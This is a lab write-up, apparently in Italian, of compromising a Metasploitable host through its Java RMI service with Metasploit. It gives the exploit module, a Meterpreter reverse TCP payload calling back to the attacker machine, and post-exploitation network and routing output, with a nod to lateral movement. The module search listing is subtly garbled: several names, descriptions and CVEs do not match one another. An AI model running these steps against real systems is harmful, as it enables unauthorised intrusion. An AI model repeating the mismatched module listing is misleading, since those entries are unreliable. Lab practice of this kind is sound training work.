

```

info > search java.rmi
Matching Modules

# Name Disclosure Date Rank Check Description
0 exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce 2019-05-22 excellent Yes Atlassian Crowd pdkinstall Unauthenticated Plugin Upload RCE
1 exploit/multi/http/crushftp_rce_cve_2023_43177 2023-08-08 excellent Yes CrushFTP Unauthenticated RCE
2 \ target: Java . . .
3 \ target: Linux Dropper . . .
4 \ target: Windows Dropper . . .
5 exploit/multi/misc/java_jmx_server 2013-05-22 excellent Yes Java JMX Server Insecure Configuration Java Code Execution
6 auxiliary/scanner/misc/java_jmx_server 2013-05-22 normal No Java JMX Server Insecure Endpoint Code Execution Scanner
7 auxiliary/gather/java_rmi_registry normal No Java RMI Registry Interfaces Enumeration
8 exploit/multi/misc/java_rmi_server 2011-10-15 excellent Yes Java RMI Server Insecure Default Configuration Java Code Execution
9 \ target: Generic (Java Payload) . . .
10 \ target: Windows x86 (Native Payload) . . .
11 \ target: Linux x86 (Native Payload) . . .
12 \ target: Mac OS X PPC (Native Payload) . . .
13 \ target: Mac OS X x86 (Native Payload) . . .
14 auxiliary/scanner/misc/java_rmi_server 2011-10-15 normal No Java RMI Server Insecure Endpoint Code Execution Scanner
15 exploit/multi/browser/java_rmi_connection_impl 2010-03-31 excellent No Java RMIConnectionImpl Deserialization Privilege Escalation
16 exploit/multi/browser/java_signed_applet 1997-02-19 excellent No Java Signed Applet Social Engineering Code Execution
17 \ target: Generic (Java Payload) . . .
18 \ target: Windows x86 (Native Payload) . . .
19 \ target: Linux x86 (Native Payload) . . .
20 \ target: Mac OS X PPC (Native Payload) . . .
21 \ target: Mac OS X x86 (Native Payload) . . .
22 exploit/multi/http/jenkins_metaprogramming 2019-01-08 excellent Yes Jenkins ACL Bypass and Metaprogramming RCE
23 \ target: Unix In-Memory . . .
24 \ target: Java Dropper . . .
25 exploit/linux/misc/jenkins_java_deserialize 2015-11-18 excellent Yes Jenkins CLI RMI Java Deserialization Vulnerability
26 exploit/linux/misc/jenkins_python_pollution_rce 2019-10-30 manual Yes Kibana Timeline Prototype Pollution RCE
27 exploit/multi/browser/firefox_xpi_bootstrapped_addon 2007-06-27 excellent No Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution
28 \ target: Universal (JavaScript XPCom Shell) . . .
29 \ target: Native Payload . . .
30 exploit/multi/http/openssl_auth_bypass_rce_cve_2023_32315 2023-05-26 excellent Yes OpenSSL authentication bypass with RCE plugin
31 exploit/multi/http/torchserver_cve_2023_43654 2023-10-03 excellent Yes PyTorch Model Server Registration and Deserialization RCE
32 exploit/multi/http/totaljs_cms_widget_exec 2019-08-30 excellent Yes Total.js CMS 12 Widget JavaScript Code Injection
33 \ target: Total.js CMS on Linux . . .
34 \ target: Total.js CMS on Mac . . .
35 exploit/linux/totaljs/vcenter_java_wrapper_vmon_priv_esc 2021-09-21 manual Yes VMware vCenter vScaleation Priv Esc
36 exploit/multi/misc/vscode_ipynb_remote_dev_exec 2022-11-22 excellent Yes VSCode ipynb Remote Development RCE
37 \ target: Windows . . .
38 \ target: Linux File-Dropper . . .

```

```

msf6 > use 8
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > options

Module options (exploit/multi/misc/java_rmi_server):



| Name      | Current Setting | Required | Description                                                                                                                           |
|-----------|-----------------|----------|---------------------------------------------------------------------------------------------------------------------------------------|
| HTTPDELAY | 10              | yes      | Time that the HTTP Server will wait for the payload request                                                                           |
| RHOSTS    |                 | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html                                |
| RPORT     | 1099            | yes      | The target port (TCP)                                                                                                                 |
| SRVHOST   | 0.0.0.0         | yes      | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. |
| SRVPORT   | 8080            | yes      | The local port to listen on.                                                                                                          |
| SSL       | false           | no       | Negotiate SSL for incoming connections                                                                                                |
| SSLCert   |                 | no       | Path to a custom SSL certificate (default is randomly generated)                                                                      |
| URIPATH   |                 | no       | The URI to use for this exploit (default is random)                                                                                   |



Payload options (java/meterpreter/reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.11.111  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name                   |
|----|------------------------|
| 0  | Generic (Java Payload) |



View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > run

```

## Evidenze Raccolte dalla Sessione Meterpreter

### 1) Configurazione di Rete & Tabella di Routing della Macchina Vittima

Le informazioni di rete sono state ottenute con il comando 'ipconfig', mentre le informazioni sulla tabella di routing sono state ottenute con il comando 'route' eseguito nella sessione Meterpreter.

```

meterpreter > ipconfig

Interface 1
-----
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
-----
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fd3a:83b4:ce20:1a96:3c62:f0ff:fe41:cc7b
IPv6 Netmask : ::

meterpreter > route

IPv4 network routes



| Subnet         | Netmask       | Gateway | Metric | Interface |
|----------------|---------------|---------|--------|-----------|
| 127.0.0.1      | 255.0.0.0     | 0.0.0.0 |        |           |
| 192.168.11.112 | 255.255.255.0 | 0.0.0.0 |        |           |



IPv6 network routes



| Subnet                                  | Netmask | Gateway | Metric | Interface |
|-----------------------------------------|---------|---------|--------|-----------|
| :::1                                    | ::      | ::      |        |           |
| fd3a:83b4:ce20:1a96:3c62:f0ff:fe41:cc7b | ::      | ::      |        |           |
| fe80::3c62:f0ff:fe41:cc7b               | ::      | ::      |        |           |


```

## **Conclusioni**

L'esercizio ha dimostrato con successo la possibilità di sfruttare una vulnerabilità nel servizio Java RMI presente sulla macchina Metasploitable. L'accesso remoto tramite Meterpreter ha permesso di raccogliere informazioni utili sulla configurazione di rete e sulla tabella di routing, che possono essere utilizzate per ulteriori attività di analisi o movimento laterale all'interno della rete.